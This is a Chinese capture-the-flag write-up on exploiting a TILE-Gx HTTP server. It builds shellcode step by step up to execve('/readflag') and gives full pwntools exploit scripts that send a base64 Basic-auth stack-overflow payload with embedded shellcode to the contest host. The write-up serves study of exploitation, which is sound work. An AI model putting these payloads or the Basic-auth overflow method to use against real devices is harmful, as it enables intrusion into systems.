   eec80:	181000005107f043 	{ move r3, r1 ; addxi r0, r0, 0 }
   eec88:	17c00061d1483000 	{ bnez r3, eeca0 <execve+0x58> }
   eec90:	9f96400007608d9d 	{ addi r29, sp, 8 ; ld r50, sp }
   eec98:	9f9e66e005d10db6 	{ addi sp, sp, 16 ; jrp lr ; ld r51, r29 }
   eeca0:	180fffe010000fc1 	{ moveli r1, 0 ; movei r0, -1 }
   eeca8:	3812c020d1483000 	{ shl16insli r1, r1, 600 }
   eecb0:	28060e60d1483000 	{ add r1, r51, r1 }
   eecb8:	286ae820d1483000 	{ ld r1, r1 }
   eecc0:	28060ea0d1483000 	{ add r1, tp, r1 }
   eecc8:	de1e4000301c3000 	{ st4 r1, r3 }
   eecd0:	27fffffc51483000 	{ j eec90 <execve+0x48> }

基本能分析出:

  • 函数调用以及系统调用传递参数的寄存器是:r0,r1,r2
  • 系统调用号使用r10寄存器进行传递
  • st和ld应该分别是存数和取数操作
  • movei可以讲立即数赋值给寄存器
  • swint1是系统调用指令
  • 系统调用号和arm64、riscv64的linux一致,execve为221,exit为93、94

学到这基本就能写shellcode了,系统调用号参考:

如果还想更细致的了解可以寻找指令手册,比较难找,也不太清晰:

还可以找gdb、qemu等代码:

qemu-5.2.0/target/tilegx/opcode_tilegx.h
qemu-5.2.0/target/tilegx/translate.c

不过这些都不太清晰,最清晰的是那个linux的IDA插件,看起来基本就是速查表:

{"st",                 CF_USE1 | CF_USE2},           //Store
{"st1",                CF_USE1 | CF_USE2},           //Store byte
{"st1_add",            CF_USE1 | CF_USE2 | CF_USE3}, //Store byte and add
{"st2",                CF_USE1 | CF_USE2},           //Store two bytes
{"st2_add",            CF_USE1 | CF_USE2 | CF_USE3}, //Store two bytes and add
{"st4",                CF_USE1 | CF_USE2},           //Store four bytes

这里我们来写一个exit(3)的程序:

.global _start
    .text
_start:
     movei r0, 3
     movei r10, 93
     swint1

使用网上下载的交叉编译工具编译,编译时使用-nostdlib,然后使用strace跟踪qemu运行:

 cat test.s 
.global _start
    .text
_start:
     movei r0, 3
     movei r10, 93
     swint1
 ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-gcc ./test.s -o test -nostdlib
 strace qemu-tilegx ./test 2>&1 | tail                                          
rt_sigaction(SIGRT_29, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGRT_29, {sa_handler=0x5652992f63e0, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER|SA_SIGINFO, sa_restorer=0x7f092c72d3c0}, NULL, 8) = 0
rt_sigaction(SIGRT_30, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGRT_30, {sa_handler=0x5652992f63e0, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER|SA_SIGINFO, sa_restorer=0x7f092c72d3c0}, NULL, 8) = 0
rt_sigaction(SIGRT_31, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGRT_31, {sa_handler=0x5652992f63e0, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER|SA_SIGINFO, sa_restorer=0x7f092c72d3c0}, NULL, 8) = 0
mprotect(0x56529b5d6000, 4096, PROT_NONE) = 0
rt_sigprocmask(SIG_SETMASK, ~[RTMIN RT_1], NULL, 8) = 0
exit_group(3)                           = ?
+++ exited with 3 +++

成功执行exit(3)

shellcode

接下来写真正的shellcode

比赛shellcode

比赛时写的shellcode比较垃圾

 .global _start
    .text
_start:
        movei r1,0
        movei r2,0

        movei r3,0x2f
        addi sp, sp, -16
        st1 sp,r

        movei r3,0x72
        addi sp,sp,1
        st1 sp,r3

        movei r3,0x65
        addi sp,sp,1
        st1 sp,r3

        movei r3,0x61
        addi sp,sp,1
        st1 sp,r3
        
        movei r3,0x64
        addi sp,sp,1
        st1 sp,r3
        
        movei r3,0x66
        addi sp,sp,1
        st1 sp,r3

        movei r3,0x6c
        addi sp,sp,1
        st1 sp,r3

        movei r3,0x61
        addi sp,sp,1
        st1 sp,r3

        movei r3,0x67
        addi sp,sp,1
        st1 sp,r3

        movei r3,0x00
        addi sp,sp,1
        st1 sp,r3

        addi sp,sp,-9
        addi r0, sp, 0

        moveli r10,221

        addi sp, sp, -32
        addi r1, sp, 0

        st sp,r0
        addi sp, sp, 8
        addi r7, sp, 16
        st sp,r7

        addi sp, sp, 8
        st sp,r2
        
        addi sp, sp, 8
        movei r3,0x2f
        st1 sp,r3
        addi sp,sp,1

        movei r3,0x66
        st1 sp,r3
        addi sp,sp,1

        movei r3,0x6c
        st1 sp,r3
        addi sp,sp,1

        movei r3,0x61
        st1 sp,r3
        addi sp,sp,1

        movei r3,0x67
        st1 sp,r3
        addi sp,sp,1

        movei r3,0x00
        st1 sp,r3
        addi sp,sp,1

#       ld r2,r2
        swint1

比赛时使用的centos上yum安装的交叉编译工具,然后是分步编译的:

[root@VM-8-11-centos ~]$ tile-linux-gnu-gcc shellcode.s -c 
[root@VM-8-11-centos ~]$ tile-linux-gnu-ld shellcode.o -o shellcode
[root@VM-8-11-centos ~]$ tile-linux-gnu-objcopy -O binary --only-section=.text shellcode  shellcode.text

赛后shellcode

也能看出上面的shellcode的主要问题就是把”/readflag”,”/flag”这种串扔进内存里,并且获得他们的地址,之前看arm的shellcode,可以这么写:

armv5l 稳定 shellcode:shell reverse tcp (Null free)

/* Execute shell */

	adr     r0, spawn
	eor     r2, r2, r2
	strb    r2, [r0, #7]
	push    {r0, r2}
	mov     r1, sp
	mov     r7, #11
	svc     #1

/*  adjust address */
	eor     r7, r7, r7

spawn:
	.ascii "/bin/shA"

但是我类似这么尝试,先打印一个helloworld,失败了:

.global _start
    .text
_start:
     movei r0, 1
     movei r1, hello
     movei r2, 12
     movei r10, 64
     swint1
hello:
     .ascii "hello world"
  ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-gcc ./test.s -o test -nostdlib
/tmp/ccSLVUUj.o: In function `_start':
(.text+0x8): relocation truncated to fit: R_TILEGX_IMM8_X1 against `.text'
collect2: error: ld returned 1 exit status

于是比赛时就放弃了这种方法转而使用,以上的方法,赛后参考老外的exp:v02-pwnit.py,发现原来这里和arm不一样,需要的是一个绝对地址。所以按照这个方法继续helloworld:

.global _start
    .text
_start:
     lnk r14
base:
     movei r0, 1
     addi  r1, r14, (hello-base)
     movei r2, 12
     movei r10, 64
     swint1
hello:
     .ascii "hello world"

然后执行,发现成功打印helloworld,不过因为后面没有退出代码,所以会死无全尸:

 ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-gcc ./test.s -o test -nostdlib
  qemu-tilegx ./test                                                             
hello world[1]    563786 segmentation fault (core dumped)  qemu-tilegx ./test\

现在可以写一个execve("/bin/sh",0,0)的:

.global _start
    .text
_start:
     lnk r14
base:
     addi   r0, r14, (shell - base) 
     movei  r1,0
     movei  r2,0
     moveli r10, 221
     swint1
shell:
     .ascii "/bin/sh"

成功:

  ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-gcc ./test.s -o test -nostdlib
  qemu-tilegx ./test                                                             
$ ls
gcc-7.3.0-nolibc  test  test.s
$ 

再写一个execve("/bin/sh",["/bin/sh",0],0)的:

.global _start
    .text
_start:
     lnk r14
base:
     addi   r0, r14, (shell - base)

     addi   sp, sp, -16
     st     sp, r0
     addi   sp, sp, 8
     st     sp, zero
     addi   r1, sp, -8

     movei  r2,0
     moveli r10, 221
     swint1
shell:
     .ascii "/bin/sh"

继续成功:

  ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-gcc ./test.s -o test -nostdlib
  qemu-tilegx ./test                                                             
$ ls
gcc-7.3.0-nolibc  test  test.s
$ 

写最后的execve("/readflag",["/readflag","/flag",0],0)的,其中的.asciz伪指令会在字符串后面自动加空字符:

.global _start
    .text
_start:
     lnk r14
base:
     addi   r0, r14, (readflag - base)
    
     addi   r1, r14, (flag - base)
     addi   sp, sp, -32
     st     sp, r0
     addi   sp, sp, 8
     st     sp, r1
     addi   sp, sp, 8
     st     sp, zero
     addi   r1, sp, -16

     movei  r2,0
     moveli r10, 221
     swint1
readflag:
     .asciz "/readflag"
flag:
     .asciz "/flag"

继续成功:

  ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-gcc ./test.s -o test -nostdlib
  qemu-tilegx ./test                                                             
flag{this_is}

然后将shellcode提取出来:

 ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-objcopy  -O binary --only-section=.text test  shellcode.text

不过从这里的shellcode也能看出来,如果想让tilegx的shellcode想不包含00,不加个壳应该是做不到的:

286b180051485000 	{ swint1 } 

exp

比赛exp:

from pwn import *
import base64
context(log_level='debug')
shellcode  = b"\x00\x30\x48\xd1\xe0\x07\x08\x18\x00\x30\x48\x51\xe1\x07\x08\x18\x00\x30\x48\xd1\xe1\x7f\x09\x18\x00\x30\x48\x51\xdb\x86\x0f\x18"
shellcode += b"\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\xd1\xe1\x97\x0b\x18\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc"
shellcode += b"\x00\x30\x48\xd1\xe1\x2f\x0b\x18\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\xd1\xe1\x0f\x0b\x18"
shellcode += b"\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\xd1\xe1\x27\x0b\x18\x00\x30\x48\x51\xdb\x0e\x08\x18"
shellcode += b"\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\xd1\xe1\x37\x0b\x18\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc"
shellcode += b"\x00\x30\x48\xd1\xe1\x67\x0b\x18\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\xd1\xe1\x0f\x0b\x18"
shellcode += b"\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\xd1\xe1\x3f\x0b\x18\x00\x30\x48\x51\xdb\x0e\x08\x18"
shellcode += b"\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\xd1\xe1\x07\x08\x18\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc"
shellcode += b"\x00\x30\x48\x51\xdb\xbe\x0f\x18\x00\x30\x48\x51\xc0\x06\x08\x18\x00\x30\x48\x51\xe5\xef\x06\x00\x00\x30\x48\x51\xdb\x06\x0f\x18"
shellcode += b"\x00\x30\x48\xd1\xc0\x06\x08\x18\x00\x30\x6c\x37\x00\x40\x06\xde\x00\x30\x48\x51\xdb\x46\x08\x18\x00\x30\x48\xd1\xc3\x86\x08\x18"
shellcode += b"\x00\x30\x6c\x37\x00\x40\x3e\xde\x00\x30\x48\x51\xdb\x46\x08\x18\x00\x30\x6c\x37\x00\x40\x16\xde\x00\x30\x48\x51\xdb\x46\x08\x18"
shellcode += b"\x00\x30\x48\xd1\xe1\x7f\x09\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x48\xd1\xe1\x37\x0b\x18"
shellcode += b"\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x48\xd1\xe1\x67\x0b\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc"
shellcode += b"\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x48\xd1\xe1\x0f\x0b\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\x51\xdb\x0e\x08\x18"
shellcode += b"\x00\x30\x48\xd1\xe1\x3f\x0b\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x48\xd1\xe1\x07\x08\x18"
shellcode += b"\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x50\x48\x51\x00\x18\x6b\x28"

payload = b'admin:a0p_s3cr37_!@#'*7+b'admin:70p_s3cr37_!@#'+b'123'+p64(0x10211e8)+b'\x00xuanxua\x00yuanyuaaaaaa'+b'a'*8+shellcode
payload = base64.b64encode(payload)

http =  b"GET / HTTP/1.1\n"
http += b"Host: 111.186.59.27:28088\n"
http += b"Cache-Control: max-age=0\n"
http += b"Authorization: Basic "+payload+b'\n';
http += b"Upgrade-Insecure-Requests: 1\n"
http += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n"
http += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\n"
http += b"Accept-Encoding: gzip, deflate\n"
http += b"Accept-Language: zh-CN,zh;q=0.9\n"
http += b"Connection: close\n\n"
io = remote("111.186.59.27",28088)
io.send(http)
io.interactive()

赛后shellcode精简版exp:

from pwn import *
import base64
context(log_level='debug')

shellcode  = b'\x00\x30\x48\x51\x07\xF0\x6A\x28\x00\x30\x48\x51\xC0\x01\x0B\x18'
shellcode += b'\x00\x30\x48\xD1\xC0\x51\x0B\x18\x00\x30\x48\x51\xDB\x06\x0F\x18'
shellcode += b'\x00\x30\x6C\x37\x00\x40\x06\xDE\x00\x30\x48\x51\xDB\x46\x08\x18'
shellcode += b'\x00\x30\x6C\x37\x00\x40\x0E\xDE\x00\x30\x48\x51\xDB\x46\x08\x18'
shellcode += b'\x00\x30\x6C\x37\x00\x40\xFE\xDF\x00\x30\x48\xD1\xC0\x86\x0F\x18'
shellcode += b'\x00\x30\x48\x51\xE1\x07\x08\x18\x00\x30\x48\x51\xE5\xEF\x06\x00'
shellcode += b'\x00\x50\x48\x51\x00\x18\x6B\x28\x2F\x72\x65\x61\x64\x66\x6C\x61'
shellcode += b'\x67\x00\x2F\x66\x6C\x61\x67\x00'

payload = b'admin:a0p_s3cr37_!@#'*8+b'123'+p64(0x1020990)+b'aaaaa'+shellcode
payload = base64.b64encode(payload)

http =  b"GET / HTTP/1.1\n"
http += b"Authorization: Basic "+payload+b'\n\n';
io = remote("127.0.0.1",9999)
io.send(http)
io.interactive()
  python3 exp.py
[+] Opening connection to 111.186.59.27 on port 28088: Done
[*] Switching to interactive mode
flag{rop_on_t1111111le-gx_is_funny_27b7d3}

[*] Got EOF while reading in interactive

从flag含义可见,出题人希望我们用ROP来解,不过因为qemu特性,shellcode最好使。

总结

本次前期的调试准备工作做得还算不错,也证明了对于漏洞比较简单的题目来说:运行 > 调试 > 编译 > 逆向

  • 首先得能运行
  • 其次是可调试
  • 然后可以编译shellcode
  • 要不要逆向看题目难度了

还有就是也证明了挖洞和逆向的确是我自己的薄弱点,AFL我也不会用。有缘遇到再学吧。另外仍然是小米那篇里的感受:写文章的思路虽然是顺着的,但是比赛是的却是东一榔头西一棒子,一会编一下qemu,一会编一下gdb的。不过也是在各种各样的尝试中有所突破,找到了可以继续往下走的路。不过策略肯定是首先解决调试问题,再说其他的。再次梳理做题过程如下:

  1. 首先编译了这个架构的gdb客户端,然后qemu没有实现这个架构的gdb桩,照着其他架构糊了一个类似能读写内存和寄存器的调试,断点功能没有实现,不过可以通过直接对目标代码插入非法指令或者内存错误的指令完成断点附近的状态查看。

  2. 然后就是希望找到这个东西的交叉编译工具链,没有找到可用的,但是发现centos上提供了这个包,所以直接yum就有了这个东西的gcc以及objdump objcopy啥的,于是可以反编译以及编译shellcode了。老外开发了这个架构的ida插件,不过仅仅适配了linux的ida,并没有资源,所以直接放弃逆向,直奔调试。

  3. 这个httpserver存在basic认证,iot的basic认证经常出现栈溢出,因为在base64解码时,经常调用的解码函数并没有对输出位置的长度进行限制,导致出现缓冲区溢出,瞎发包果然测出来可以控制流劫持,并不知道怎么绕过的canary。

  4. qemu-user是docker里ubuntu 20.04 直接install的,没有patch,故原生的qemu不支持NX,故shellcode一把梭应该就行,在堆上找到了base64解码后的数据,故shellcode不必考虑00,堆地址在同一个环境下是固定的,给了docker,换掉其中的qemu为刚才编译的可以调试的qemu,直接开调即可。

  5. dockerfile里限制了ctf用户不可执行/bin/sh,所以shellcode的功能是execve("/readflag",["/readflag","/flag",0],0),shellcode可以把libc用objdump反编译,然后照着execve抄,看看语法和寄存器啥的,系统调用号和arm64的linux一样,然后写shellcode即可。